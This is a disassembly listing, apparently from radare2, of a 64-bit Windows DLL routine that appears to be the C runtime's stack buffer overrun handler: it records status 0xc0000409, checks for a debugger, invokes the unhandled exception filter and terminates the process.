mov qword [rsp + 0x28], rax
lea rax, [0x180029a20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000fad7
mov rax, qword [rsp + 0x88]
mov qword [0x180029b18], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180029ab8], rax
mov rax, qword [0x180029b18]
mov qword [0x180029990], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180029aa0], rax
mov dword [0x180029980], 0xc0000409
mov dword [0x180029984], 1
mov rax, qword [0x180028020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180028028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180029a18], eax
mov ecx, 1
call fcn.180015214
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180020438]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180029a18], 0
jne 0x18000fb5e
mov ecx, 1
call fcn.180015214
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret